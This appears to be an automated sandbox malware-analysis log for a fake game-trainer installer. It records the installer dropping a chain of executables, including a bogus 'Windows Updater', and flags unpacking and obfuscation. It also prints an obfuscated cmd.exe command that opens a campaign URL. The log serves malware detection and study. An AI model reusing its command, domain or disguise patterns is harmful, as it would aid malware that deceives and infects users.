Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\ExternalUi.pdb source: a1.exe, 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmp, a1.exe, 00000015.00000000.2964430134.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmp, v114.exe, 00000039.00000002.3555344086.0000000000B0C000.00000002.00000001.01000000.00000028.sdmp, v114.exe, 00000039.00000000.3403600640.0000000000B0C000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdbz source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Updater.pdb source: a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000000.3124835692.000000000061F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 00000020.00000002.3560876237.00000000002DF000.00000002.00000001.01000000.00000021.sdmp, Windows Updater.exe, 00000020.00000000.3156667669.00000000002DF000.00000002.00000001.01000000.00000021.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdbb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: wmiprvse.exe, 0000000F.00000002.3930452953.000000006BD1E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\aischeduler2.pdb source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb~ source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: wmiprvse.exe, 0000000F.00000002.3931001194.000000006BFC5000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: f:\mydev\inno-download-plugin\unicode\idp.pdb source: setup.tmp, 00000004.00000002.3928763850.000000001002F000.00000002.00000001.01000000.00000009.sdmp, setup.tmp, 00000004.00000002.3925711182.00000000039B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdb source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\lzmaextractor.pdb source: v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Updater.pdb source: v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe

Unpacked PE file: 36.2.1922353491.exe.b20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jebeytzk:EW;ukznpftb:EW; vs :ER;.rsrc:W;v0:W; :EW;jebeytzk:EW;ukznpftb:EW;

Obfuscated command line found

Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598			Jump to behavior

Source: shi27C0.tmp.21.dr

Static PE information: 0xC7FEC470 [Wed Apr 29 05:06:56 2076 UTC]

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00C542C0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

21_2_00C542C0

Source: ZmWSzgevgt.exe	Static PE information: section name: .didata
Source: ZmWSzgevgt.tmp.0.dr	Static PE information: section name: .didata
Source: is-PFMO7.tmp.2.dr	Static PE information: section name: .didata
Source: is-AU4B5.tmp.2.dr	Static PE information: section name: .didata
Source: setup.tmp.3.dr	Static PE information: section name: .didata
Source: a0.exe.4.dr	Static PE information: section name: .didata
Source: a0.tmp.7.dr	Static PE information: section name: .didata
Source: is-R280H.tmp.8.dr	Static PE information: section name: .didata
Source: is-K1U5B.tmp.8.dr	Static PE information: section name: .00cfg
Source: is-K1U5B.tmp.8.dr	Static PE information: section name: _RDATA
Source: 9c66f20de619a94580bb93030dc1aea6.tmp.11.dr	Static PE information: section name: .hhshare
Source: shi27C0.tmp.21.dr	Static PE information: section name: .wpp_sf
Source: shi27C0.tmp.21.dr	Static PE information: section name: .didat
Source: AdvancedWindowsManager.exe.22.dr	Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001B0B9 push ecx; ret	4_2_1001B0CC
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10017775 push ecx; ret	4_2_10017788
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_00FD9EDF push ss; retf 0036h	21_3_00FD9EE2
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_00FD9EDF push ss; retf 0036h	21_3_00FD9EE2
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_00FD9EDF push ss; retf 0036h	21_3_00FD9EE2
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_00FD9EDF push ss; retf 0036h	21_3_00FD9EE2
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EDF17C push eax; iretd	21_3_03EDF1CD
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EDF17C push eax; iretd	21_3_03EDF1CD
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EDF17C push eax; iretd	21_3_03EDF1CD
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EDF17C push eax; iretd	21_3_03EDF1CD
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EE1EAE push edi; retf	21_3_03EE1EC1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_3_03EEA58F push esi; retf	21_3_03EEA592

Source: initial sample

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5407.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC5E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI46E5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9758.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA92A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIABBF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB9A2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF464.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF9CB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-4TFDP.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBA30.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	File created: C:\Users\user\AppData\Local\Temp\1938229521.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF324.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE7ED.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI422D.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\MSICE04.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	File created: C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\is-PFMO7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA969.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi4877.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF423.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\bcbe912d67afa2439ce32b324e7130e1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI55E1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF484.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA4AC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC1F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE73E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFD2F.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\b9f3dab10526734c996e5577124d9fe9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD12.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5543.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBDFE.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\86f0e59c0cab3c4a8a87bee6d0fa0beb.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF4F3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-8305D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFD0F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9788.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\f30fa2050fab9a4e9730e495e7217769.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF2C3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF786.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE7AD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIACFB.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi982D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDA43.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI7EBB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA3A2.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi2C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDAA3.tmp	Jump to dropped file
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	File created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File created: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFCBF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shiADAA.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\shiCD57.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC9F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5523.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI45A8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF444.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA8CA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: 413df9.rbf (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SMLRC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA8FA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4618.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF6E8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\promo[1].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF433.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI45D8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\idp.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE8AD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIADB9.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi478C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA2B5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF862.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI94A7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBCA2.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File created: C:\Windows\Temp\INACC6B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE633.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDAD2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi80CC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAA66.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD6A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA7EC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4724.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE81E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIACCB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF2F3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-K1U5B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA5E7.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi97AF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4686.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF244.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDA82.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDC0E.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-R280H.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi8169.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE8CD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	File created: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: 413dee.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA9BA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC10D.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\shi7E1E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA607.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDBDE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA81C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5447.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA8AA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9477.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF293.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\INA2696.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF3E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5AE4.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI935C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI528F.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI8071.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File created: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	File created: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI94C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF374.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFC7F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE663.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDB50.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\MSI2B5C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBCD2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE603.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB914.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA362.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	File created: C:\Users\user\AppData\Local\Temp\1922353491.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD80.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\promo[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\is-AU4B5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFEC8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF9FB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI92DE.tmp	Jump to dropped file
